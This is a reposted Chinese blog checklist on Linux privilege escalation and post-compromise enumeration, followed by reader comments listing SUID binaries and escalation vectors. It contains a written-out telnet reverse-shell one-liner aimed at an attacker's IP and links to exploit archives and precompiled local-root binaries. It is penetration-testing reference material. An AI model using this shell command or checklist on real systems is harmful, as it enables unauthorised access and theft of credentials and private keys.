Linux系统提权后获取敏感信息的一些方法

本文最后更新于2014年7月27日,已超过 1 年没有更新,如果文章内容失效,还请反馈给我,谢谢!

先提前说一句:文章是很早之前就看到的,在Freebuf.com/91Ri.org等网站上都有看到过,这时放在这里,一方面是作为一个知识存储进行备份,另一方面也偷个懒,写不出这么好的文章就先转载学习吧~


PS:文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的Linux中所使用的命令。

列举关键点

(Linux)的提权是怎么一回事:

  • 收集 – 枚举,枚举和一些更多的枚举。
  • 过程 – 通过数据排序,分析和确定优先次序。
  • 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
  • 适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
  • 尝试 – 做好准备,试验和错误。

操作类型

操作类型是什么版本?

它的内核版本是什么?

它的环境变量里有些什么?

是否有台打印机?

应用与服务

正在运行什么服务?什么样的服务具有什么用户权限?

哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!

安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?

Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?

主机上有哪些工作计划?

主机上可能有哪些纯文本用户名和密码?

通信与网络

NIC(s),系统有哪些?它是连接到哪一个网络?

网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

其他用户主机与系统的通信?

缓存?IP和/或MAC地址?

数据包可能嗅探吗?可以看出什么?监听流量

你如何get一个shell?你如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# rinetd

# fpipe

# ssh

# mknod

建立隧道可能吗?本地,远程发送命令

秘密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

可以找到什么敏感文件?

什么有趣的文件在home/directorie(S)里?如果有权限访问

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

可以找到什么样的用户信息

private-key 信息能否被发现?

文件系统

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

在/var/里有什么可以发现?

网站上的任何隐藏配置/文件?配置文件与数据库信息?

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

如果命令限制,你可以打出哪些突破它的限制?

如何安装文件系统?

是否有挂载的文件系统?

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

如何上传文件?

查找exploit代码

Offensive Security Exploit Database Archive

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找更多有关漏洞的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]

http://www.91ri.org/

(快速)“共同的“exploit,预编译二进制代码文件

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

上面的信息很难吗?

快去使用第三方脚本/工具来试试吧!

系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?

服务运行所需的最低的权限?

例如,你需要以root身份运行MySQL?

能够从以下网站找到自动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

(快速)指南和链接

例如

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其他

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

参考链接

声明: 除非注明,ixyzero.com文章均为原创,转载请以链接形式标明本文地址,谢谢!
https://ixyzero.com/blog/archives/770.html

《Linux系统提权后获取敏感信息的一些方法》上有20条评论

  1. Linux提权——利用可执行文件SUID
    https://www.anquanke.com/post/id/86979
    https://pentestlab.blog/2017/09/25/suid-executables/

    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
    但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:
    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp

  2. Linux Privilege Escalation Using PATH Variable(借助PATH变量进行Linux提权)
    https://movaxbx.ru/2018/06/01/linux-privilege-escalation-using-path-variable/

    Linux Privilege Escalation
    https://movaxbx.ru/2018/09/19/linux-privilege-escalation/

    Kernel exploits (内核漏洞)
    Programs running as root (以root权限运行的进程)
    Installed software (已安装的软件)
    Weak/reused/plaintext passwords (弱密码/密码重用/明文密码)
    Inside service (内部服务)
    Suid misconfiguration (suid的错误配置)
    Abusing sudo-rights (滥用sudo权限)
    World writable scripts invoked by root (由root调用的全局可写的脚本)
    Bad path configuration (错误的路径配置)
    Cronjobs (定时任务)
    Unmounted filesystems (卸载的文件系统)

发表评论

电子邮件地址不会被公开。 必填项已用*标注